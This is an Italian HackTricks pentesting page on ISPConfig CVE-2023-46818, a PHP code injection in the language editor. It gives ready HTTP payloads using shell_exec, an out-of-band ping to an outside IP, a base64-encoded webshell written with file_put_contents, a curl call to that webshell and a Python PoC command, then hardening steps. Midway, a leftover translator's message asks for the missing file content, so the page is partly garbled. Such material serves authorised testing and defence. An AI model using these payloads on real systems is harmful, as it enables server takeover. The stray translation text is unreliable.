ISPConfig

Reading time: 5 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

ISPConfig è un pannello di controllo per hosting open-source. Le versioni più vecchie della serie 3.2.x includevano una funzione di editor dei file di lingua che, se abilitata per il super amministratore, permetteva l'iniezione arbitraria di codice PHP tramite un record di traduzione malformato. Questo può portare a RCE nel contesto del web server e, a seconda di come PHP viene eseguito, a escalation di privilegi.

Percorsi predefiniti principali:

  • La web root si trova spesso in /var/www/ispconfig quando viene servita con php -S o tramite Apache/nginx.
  • L'Admin UI è raggiungibile sul vhost HTTP(S) (a volte vincolato solo a localhost; usa SSH port-forward se necessario).

Suggerimento: Se il pannello è vincolato localmente (es. 127.0.0.1:8080), forwardalo:

bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001

Editor delle lingue PHP code injection (CVE-2023-46818)

  • Colpiti: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
  • Prerequisiti:
  • Login as the built-in superadmin account admin (altri ruoli non sono interessati secondo il fornitore)
  • Language editor must be enabled: admin_allow_langedit=yes in /usr/local/ispconfig/security/security_settings.ini
  • Impatto: un amministratore autenticato può injectare PHP arbitrario che viene scritto in un file di lingua ed eseguito dall'applicazione, ottenendo RCE nel contesto web

Riferimenti: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.

Flusso di sfruttamento manuale

  1. Aprire/creare un file di lingua per ottenere i token CSRF

Inviare un primo POST per inizializzare il form e parsare i campi CSRF dalla risposta HTML (csrf_id, csrf_key). Example request path: /admin/language_edit.php.

  1. Injectare PHP via records[] e salvare

Inviare un secondo POST includendo i campi CSRF e un record di traduzione malevolo. Minimal command-execution probes:

http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...

lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>

Test fuori banda (osservare ICMP):

http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
  1. Scrivere file e posizionare una webshell

Usare file_put_contents per creare un file in un percorso raggiungibile via web (es., admin/):

http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>

Poi scrivi una semplice webshell usando base64 per evitare caratteri non validi nel body della POST:

http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>

Non hai fornito il contenuto del file. Per favore incolla qui il contenuto di src/network-services-pentesting/pentesting-web/ispconfig.md che vuoi tradurre in italiano.

Nota: manterrò intatti codice, tag, link, percorsi e termini tecnici come richiesto.

bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'

Se PHP viene eseguito come root (es., tramite php -S 127.0.0.1:8080 avviato da root), questo porta a una root RCE immediata. Altrimenti si ottiene esecuzione di codice come utente del server web.

Python PoC

Un exploit pronto all'uso automatizza la gestione dei token e la consegna del payload:

Esempio di esecuzione:

bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>

Rafforzamento

  • Aggiornare a 3.2.11p1 o successiva
  • Disabilitare l'editor delle lingue a meno che non sia strettamente necessario:
admin_allow_langedit=no
  • Evita di eseguire il pannello come root; configura PHP-FPM o il web server per limitare i privilegi
  • Applica un'autenticazione forte per l'account integrato admin

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks